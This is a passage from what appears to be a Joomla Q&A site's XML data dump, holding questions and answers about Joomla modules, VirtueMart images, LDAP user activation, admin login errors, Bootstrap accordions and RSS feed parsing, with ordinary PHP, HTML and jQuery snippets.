on.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-03-27T09:22:11.570" LastActivityDate="2015-03-27T09:22:11.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9228" PostTypeId="2" ParentId="8962" CreationDate="2015-03-25T20:26:52.160" Score="2" Body="&lt;p&gt;I don't know if this is the correct way but it works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;helper.php&lt;/strong&gt; located in &lt;code&gt;modules/mod_simplecalendar&lt;/code&gt;, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('c.title AS category');&#xA;&#xA;// Load the permissions functions&#xA;$user = JFactory::getUser(); &#xA;$user_levels = implode(',', array_unique($user-&amp;gt;getAuthorisedViewLevels()));&#xA;$params-&amp;gt;get( 'count', '2' );&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('a.*');&#xA;$query-&amp;gt;select('CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END AS slug');&#xA;$query-&amp;gt;select('CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(\':\', c.id, c.alias) ELSE c.id END AS catslug');&#xA;$query-&amp;gt;from('#__simplecalendar AS a');&#xA;$query-&amp;gt;select('c.title AS category');&#xA;$query-&amp;gt;join('LEFT', '#__categories AS c on c.id = a.catid');       &#xA;$query-&amp;gt;where(&quot;( $where ) AND a.state = 1&quot;);        &#xA;$query-&amp;gt;where('a.access IN ('.$user_levels.') AND c.access IN ( '. $user_levels .')');      &#xA;&#xA;if ( $catid[0] != 0 || $categories == '' )      &#xA;{&#xA;    $query-&amp;gt;where( $categories);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3960" LastEditorUserId="168" LastEditDate="2015-03-25T20:39:02.680" LastActivityDate="2015-03-25T20:39:02.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9229" PostTypeId="1" CreationDate="2015-03-26T03:17:11.933" Score="1" ViewCount="1022" Body="&lt;p&gt;I have a form with dynamic fields. some items contain this input fields, some don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for the XML :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field = '&amp;lt;field name=&quot;id_'.$filter_record['id'].'_from&quot; type=&quot;text&quot;&#xA;                        label=&quot;From&quot; description=&quot;'.$filter_record['name'].'&quot;&#xA;                         size=&quot;'.$filter_record['holdout'].'&quot; format=&quot;%Y-%m-%d&quot;&#xA;                        maxlength=&quot;20&quot;  &#xA;                        required=&quot;true&quot;                                             &#xA;                        class = &quot;datefrom&quot;      &#xA;                        data-holdout=&quot;7&quot;                        &#xA;                        filter=&quot;user_utc&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see, I have a size attribute there which contains a dynamic value. Now when I want to use the data-holdout in the front-end,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var x = jQuery(&quot;.datefrom&quot;).data(&quot;holdout&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I alert the value of x it says undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I add the custom attribute for it to be seen in the front page?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="126" LastEditDate="2016-01-21T23:07:07.717" LastActivityDate="2016-03-17T23:02:02.947" Title="Adding Data-Attribute value to XML field does not work" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9230" PostTypeId="1" CreationDate="2015-03-26T07:39:03.503" Score="1" ViewCount="1179" Body="&lt;p&gt;I have LDAP enabled on my Joomla Server. The thing is when LDAP creates a user in Joomla, it is automatically activated. Where does it set the value of block? I want to pre-configure the code for every user that is created by LDAP to be blocked first and require admin's activation.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="3650" LastEditDate="2016-03-07T22:42:50.603" LastActivityDate="2017-08-26T17:33:26.700" Title="LDAP Auto-registration user blocking" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9231" PostTypeId="1" CreationDate="2015-03-26T10:13:14.833" Score="3" ViewCount="423" Body="&lt;p&gt;Hopefully someone will find this an interesting question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can show a small thumbnail (doesn't need to be a generated thumbnail, just a scaled down version of the original image) of either the full article image or intro image in a new column in the Article Manager list of articles, maybe between the 'Status' and 'Title' column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to override the layout of that admin page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible, how could I add the image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help given...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leila&lt;/p&gt;&#xA;" OwnerUserId="1740" LastActivityDate="2015-08-12T15:44:21.293" Title="Showing the intro or full image in the Article Manager" Tags="|administration|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9232" PostTypeId="1" CreationDate="2015-03-26T11:05:28.210" Score="0" ViewCount="540" Body="&lt;p&gt;I'm creating an Accordion Module (using Bootstrap) with the latest forum posts from Kunena.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written the following, which is displaying the posts correctly, but I need to somehow use jQuery to dynamically create the names for each panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;panel panel-default&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;panel-heading&quot; role=&quot;tab&quot; id=&quot;headingNAME&quot;&amp;gt;&#xA;    &amp;lt;h4 class=&quot;panel-title&quot;&amp;gt;&#xA;      &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#collapseNAME&quot; aria-expanded=&quot;true&quot; aria-controls=&quot;collapseNAME&quot;&amp;gt;&#xA;            &amp;lt;?php echo ModuleKunenaLatest::setSubjectTitle($this, $this-&amp;gt;message-&amp;gt;message); ?&amp;gt;&#xA;      &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/h4&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;collapseNAME&quot; class=&quot;panel-collapse collapse in&quot; role=&quot;tabpanel&quot; aria-labelledby=&quot;headingNAME&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;panel-body&quot;&amp;gt;&#xA;      &amp;lt;?php echo KunenaHtmlParser::stripBBCode($this-&amp;gt;message-&amp;gt;message, $this-&amp;gt;params-&amp;gt;get ( 'lengthcontentcharacters' )); ?&amp;gt;&#xA;    &amp;lt;?php echo ModuleKunenaLatest::shortenLink($this-&amp;gt;getTopicLink($this-&amp;gt;topic, $this-&amp;gt;message, null , ModuleKunenaLatest::setSubjectTitle($this, $this-&amp;gt;message-&amp;gt;message)), $this-&amp;gt;params-&amp;gt;get ('titlelength')); ?&amp;gt;&amp;lt;?php echo JText::_('READMORE');?&amp;gt;&#xA;    &amp;lt;p class=&quot;authorPostTime&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;klatest-author&quot;&amp;gt;&amp;lt;?php echo JText::_ ( 'MOD_KUNENALATEST_POSTED_BY' ) .' '. $this-&amp;gt;message-&amp;gt;getAuthor()-&amp;gt;getLink(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;klatest-posttime&quot;&amp;gt;&amp;lt;?php $override = $this-&amp;gt;params-&amp;gt;get ( 'dateformat' ); echo KunenaDate::getInstance($this-&amp;gt;message-&amp;gt;time)-&amp;gt;toKunena($override ? $override : 'config_post_dateformat'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'standard' Bootstrap code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;panel-group&quot; id=&quot;accordion&quot; role=&quot;tablist&quot; aria-multiselectable=&quot;true&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;panel panel-default&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;panel-heading&quot; role=&quot;tab&quot; id=&quot;headingOne&quot;&amp;gt;&#xA;      &amp;lt;h4 class=&quot;panel-title&quot;&amp;gt;&#xA;        &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#collapseOne&quot; aria-expanded=&quot;true&quot; aria-controls=&quot;collapseOne&quot;&amp;gt;&#xA;          Collapsible Group Item #1&#xA;        &amp;lt;/a&amp;gt;&#xA;      &amp;lt;/h4&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;collapseOne&quot; class=&quot;panel-collapse collapse in&quot; role=&quot;tabpanel&quot; aria-labelledby=&quot;headingOne&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;panel-body&quot;&amp;gt;&#xA;        Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS.&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;panel panel-default&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;panel-heading&quot; role=&quot;tab&quot; id=&quot;headingTwo&quot;&amp;gt;&#xA;      &amp;lt;h4 class=&quot;panel-title&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;collapsed&quot; data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#collapseTwo&quot; aria-expanded=&quot;false&quot; aria-controls=&quot;collapseTwo&quot;&amp;gt;&#xA;          Collapsible Group Item #2&#xA;        &amp;lt;/a&amp;gt;&#xA;      &amp;lt;/h4&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;collapseTwo&quot; class=&quot;panel-collapse collapse&quot; role=&quot;tabpanel&quot; aria-labelledby=&quot;headingTwo&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;panel-body&quot;&amp;gt;&#xA;        Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS.&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can use jQuery to replace NAME with 'One' (in my code), but how can I use it to replace NAME with 'One', 'Two', 'Three', etc - depending on the number of panels shown?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-03-26T11:20:38.820" LastActivityDate="2015-03-31T11:23:19.020" Title="Use jQuery to name the Accordion panels" Tags="|php|jquery|bootstrap|kunena|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9234" PostTypeId="1" CreationDate="2015-03-26T12:37:22.317" Score="2" ViewCount="133" Body="&lt;p&gt;In my plugin xml file I have a large number of parameters to retrieve, about 100. &#xA;Presently, to set a more friendly name to parameters, I am retrieving them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(&amp;amp; $subject, $config)&#xA;{&#xA;    parent::__construct($subject, $config);&#xA;    $this-&amp;gt;loadLanguage();&#xA;&#xA;    // Load login parameters&#xA;    $this-&amp;gt;simple_name001 = $this-&amp;gt;params-&amp;gt;get('complex_name001', 'default_value');&#xA;    $this-&amp;gt;simple_name... = $this-&amp;gt;params-&amp;gt;get('complex_name...', 'default_value');&#xA;    $this-&amp;gt;simple_name100 = $this-&amp;gt;params-&amp;gt;get('complex_name100', 'default_value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the proper way to handle with this? Should I handle this in a external file (and then use like an array)?&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-03-30T07:51:18.440" Title="Retrieve a large number of plugin params" Tags="|joomla-3.x|development|plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9235" PostTypeId="1" AcceptedAnswerId="9242" CreationDate="2015-03-26T12:43:13.657" Score="1" ViewCount="640" Body="&lt;p&gt;I upgraded a Joomla 2.5 with VM 2.x to J3 and VM 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything was ok, but after I migrated the latest VM data just before put the new version to live, I am getting an issue with the VM media (images files). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many the products won't show their images, although the images exist.&#xA;In VM Media Manager many media files don't have thumbnails. I renamed the resized folder, in order to force VM to recreated the thumbs, but VM reports: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;vmError: Couldnt create thumb, file not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem I see, is that those images exist in the products images folder, but their names is of the type: P12001.JPG. For some reason VM cannot see these filenames. &#xA;I also noticed that the same image files exist with the same name but in lowercase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what might have happened and why the files exist twice both in upper/lower case and I don't know how it could work in previous versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever came across this kind of issue with VM?&#xA;Any ideas would be helpful. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-03-26T20:22:39.103" Title="VirtueMart images filenames" Tags="|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9236" PostTypeId="2" ParentId="9229" CreationDate="2015-03-26T13:02:23.433" Score="2" Body="&lt;p&gt;The JFormField of Type Text does not support the data-* attribute, so your line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data-holdout=&quot;7&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your XML file won't have any effect on your input text HTML element, ie your input element won't have a data-holdout=&quot;7&quot; attribute and &lt;code&gt;.data(&quot;holdout&quot;);&lt;/code&gt; will return undefined on that element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a custom JFormField you can support all attributes that you need. Here is a tutorial how to build a custom JFormField: &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: JFormFieldText (which you are using through 'type=&quot;text&quot;' in your XML) does not support the &lt;code&gt;format&lt;/code&gt; attribute either. You should probably have a look at the &lt;a href=&quot;https://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow&quot;&gt;calendar form field type&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-03-26T13:02:23.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9237" PostTypeId="1" AcceptedAnswerId="9253" CreationDate="2015-03-26T14:39:20.850" Score="0" ViewCount="471" Body="&lt;p&gt;I have a course listing component, and each course as zero, one, or more corresponding sections for that course. Basically different versions of that course that run at different times at different locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an administrator tries to delete a course, I'd like my component to first check for corresponding sections and if there are sections, prompt the user that those should be deleted or reassigned first before deleting the course itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I've looked around and haven't found much documentation on this specifically. I'm somewhat new to Joomla MVC development as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Starting to think that I have to override the default JControllerAdmin delete() function (I think that's what it is) and telling it to run a SELECT statement, and then whether or not there are matching sections, run or don't run the actual delete action. Hmm..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: The above thought seems to be the case, as I now have a delete() function in the controller that shows a JS alert when the delete button is hit. &lt;/p&gt;&#xA;" OwnerUserId="2297" LastEditorUserId="2297" LastEditDate="2015-03-26T15:01:23.337" LastActivityDate="2015-03-27T21:19:00.137" Title="Joomla MVC Component: Run SQL before deleting record" Tags="|component|mvc|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9238" PostTypeId="1" CreationDate="2015-03-26T07:08:03.693" Score="1" ViewCount="2102" Body="&lt;p&gt;I've moved my joomla site from subdomain to main domain and from then I cannot login to my admin panel. The following error message given:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function isAdmin() on a non-object in&#xA;  /home/x11igato/public_html/stage.navigator/plugins/authentication/cookie/cookie.php&#xA;  on line 57&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've wrote this lines in cookie.php, but with this, stil cannot login. Error message: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning Username and password do not match or you do not have an&#xA;  account yet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Although my username and password is ok and exists in DB&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(&amp;amp; $subject, $config = array()) {&#xA;    $this-&amp;gt;app = JFactory::getApplication();&#xA;    $this-&amp;gt;db = JFactory::getDBO();;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS.&#xA;After more reseach I've found that in table #_extension, plugin &quot;remember&quot; was set to 0, I've changed it to 1. Still no success with login, error shown:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function isAdmin() on a non-object in /home/x11igato/public_html/plugins/system/remember/remember.php on line 42&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;FYI in configuration.php the &quot;live_site&quot; variable is equal with an empty string.&lt;/p&gt;&#xA;" OwnerUserId="3963" OwnerDisplayName="Nemeth" LastActivityDate="2018-01-15T12:26:24.150" Title="Joomla 3.x admin login error" Tags="|php|cookies|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9239" PostTypeId="2" ParentId="9238" CreationDate="2015-03-26T16:55:31.433" Score="1" Body="&lt;p&gt;A few of quick tips:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Clear Joomla caches (through your FTP client - remove any cache files in the cache folder).  &lt;/li&gt;&#xA;&lt;li&gt;Clear your browser's cache and cookies.&lt;/li&gt;&#xA;&lt;li&gt;Clear Sessions in Joomla database.  &lt;/li&gt;&#xA;&lt;li&gt;Make sure the move of your site was complete and you didn't end up with any corrupted or missing files from the Joomla core. It will be good, if you still have a backup of your working site since it was in the subdomain, to restore it. The method you followed to move your site, can be part of your problem.   &lt;/li&gt;&#xA;&lt;li&gt;Following n3, above, you could restore this at your local computer to debug the issue more efficiently.       &lt;/li&gt;&#xA;&lt;li&gt;What could happen if you move it back to the subdomain?  &lt;/li&gt;&#xA;&lt;li&gt;Also there plenty of similar questions/answers in this site, that deal with getting back your admin access by resetting your password if that's the case, or suggesting various other tricks.  &lt;/li&gt;&#xA;&lt;li&gt;In any case, try to keep somewhere untouched that backup file/site that used to work fine.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-03-27T09:25:36.907" LastActivityDate="2015-03-27T09:25:36.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9242" PostTypeId="2" ParentId="9235" CreationDate="2015-03-26T20:22:39.103" Score="2" Body="&lt;p&gt;I don't have any valuable answer for the question, apart that VM won't treat fine file-extensions in uppercase, like .JPG. &#xA;So I ended up renaming all image filenames + file-extensions to lowercase and updated the file_url column medias database table of vm to lowercase as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now everything works fine and there is a kind of consistency.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-03-26T20:22:39.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9243" PostTypeId="1" CreationDate="2015-03-27T08:10:47.463" Score="2" ViewCount="386" Body="&lt;p&gt;I am using virtuemart in joomla ! I have just develop a component named com_vip. it's working fine ! But problem is when i have to override one layout of com_virtuemart component while installing my custom component(i.e com_vip). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do manually by creating those files inside templates directory &#xA;template/(templatename)/html/com_virtuemart/user/edit.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i have to do it, while installing my component (com_vip).&#xA;How can i do ? any solution ? &lt;/p&gt;&#xA;" OwnerUserId="3917" LastActivityDate="2015-03-31T04:04:35.973" Title="How to override template of virtuemart user?" Tags="|component|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9244" PostTypeId="2" ParentId="5439" CreationDate="2015-03-27T10:07:35.657" Score="1" Body="&lt;p&gt;The way to do that is either by using the multi-variant plug-in which is introduced in Virtuemart 3.0.6&#xA;&lt;a href=&quot;http://virtuemart.net/news/latest-news/468-virtuemart-3-0-6-with-completely-redesigned-multi-variants&quot; rel=&quot;nofollow&quot;&gt;http://virtuemart.net/news/latest-news/468-virtuemart-3-0-6-with-completely-redesigned-multi-variants&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or by using a 3rd party plug-in like the Stockable custom fields&#xA;&lt;a href=&quot;http://breakdesigns.net/extensions/stockable-custom-fields&quot; rel=&quot;nofollow&quot;&gt;http://breakdesigns.net/extensions/stockable-custom-fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2015-03-27T10:07:35.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9245" PostTypeId="1" CreationDate="2015-03-27T10:44:08.163" Score="2" ViewCount="600" Body="&lt;p&gt;VirtueMart doesn't have a lot of plugins... So, I thought about creating a plugin which shows the percent of the price of the product in ofert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just making a div with ::after (CSS3) and inserting it in the product detail view of the specific category (body with a class).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now... if you want a category with many products, and each one with diferents discounts, we need to write the product's price's percent variable in the content of the ::after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how? Where can I find those variables? Where's those files?&#xA;I'm using a VERTEX Template (Shape5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that it's in /your_template/html/com_virtuemart/.. but it's nothing there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... Can anyone help me? Or tell me about a plugin which shows the product's percent discount in a &quot;beautiful&quot; way..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NPpo4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="159" LastEditDate="2015-03-29T10:53:59.970" LastActivityDate="2015-05-22T17:53:40.947" Title="How to create a &quot;Discount Plugin&quot;" Tags="|joomla-3.x|plugin|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9246" PostTypeId="1" AcceptedAnswerId="9271" CreationDate="2015-03-27T11:09:46.960" Score="1" ViewCount="516" Body="&lt;p&gt;I have forked Joomla's feed display module (mod_feed) for my needs. It was working well until I have updated my site from 3.3.6 to 3.4.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have news source which I have displayed on my Joomla site. RSS feed is as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;Zkanoca&amp;lt;/title&amp;gt;&#xA;    &amp;lt;atom:link href=&quot;http://example.com/?feed=rss2&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;&#xA;    &amp;lt;link&amp;gt;http://example.com&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;Zkanoca loves you&amp;lt;/description&amp;gt;&#xA;    &amp;lt;lastBuildDate&amp;gt;Fri, 27 Mar 2015 06:02:13 +0000&amp;lt;/lastBuildDate&amp;gt;&#xA;    &amp;lt;language&amp;gt;tr-TR&amp;lt;/language&amp;gt;&#xA;    &amp;lt;sy:updatePeriod&amp;gt;hourly&amp;lt;/sy:updatePeriod&amp;gt;&#xA;    &amp;lt;sy:updateFrequency&amp;gt;1&amp;lt;/sy:updateFrequency&amp;gt;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=4.1&amp;lt;/generator&amp;gt;&#xA;    &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;My news title 1&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;http://example.com/?p=142862&amp;lt;/link&amp;gt;&#xA;        &amp;lt;comments&amp;gt;http://example.com/?p=142862#comments&amp;lt;/comments&amp;gt;&#xA;        &amp;lt;pubDate&amp;gt;Thu, 26 Mar 2015 11:43:56 +0000&amp;lt;/pubDate&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;&amp;lt;![CDATA[Zkanoca]]&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;        &amp;lt;category&amp;gt;&amp;lt;![CDATA[News]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;        &amp;lt;category&amp;gt;&amp;lt;![CDATA[General]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;        &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;http://example.com/?p=142862&amp;lt;/guid&amp;gt;&#xA;        &amp;lt;description&amp;gt;&amp;lt;![CDATA[Some text is here]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;p&amp;gt;Some text is here&amp;lt;/p&amp;gt;&#xA;        &amp;lt;a href='http://example.com/?attachment_id=142863'&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; src=&quot;http://example.com/wp-content/uploads/2015/03/0124-150x150.jpg&quot; class=&quot;attachment-thumbnail&quot; alt=&quot;01&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href='http://example.com/?attachment_id=142864'&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; src=&quot;http://example.com/wp-content/uploads/2015/03/0224-150x150.jpg&quot; class=&quot;attachment-thumbnail&quot; alt=&quot;02&quot; /&amp;gt;&amp;lt;/a&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;        &amp;lt;wfw:commentRss&amp;gt;http://example.com/?feed=rss2&amp;amp;#038;p=142862&amp;lt;/wfw:commentRss&amp;gt;&#xA;        &amp;lt;slash:comments&amp;gt;0&amp;lt;/slash:comments&amp;gt;&#xA;        &amp;lt;picture&amp;gt;http://example.com/wp-content/uploads/2015/03/0124.jpg&amp;lt;/picture&amp;gt;   &#xA;    &amp;lt;/item&amp;gt;&#xA;    .&#xA;    .&#xA;    .&#xA;&amp;lt;/channel&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;picture&amp;gt;http://example.com/wp-content/uploads/2015/03/0124.jpg&amp;lt;/picture&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;part was not in original feed XML. I have added it with a little hack on Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed Joomla's mod_feed module in order to have a sliding news module, utilizing Bootstrap's carousel component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was properly working. But after I have updated the web site &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; node comes empty so the carousel is unable to display the news' picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to search what has been changed from Joomla API directory. But could not find a clue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display the image using that line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo 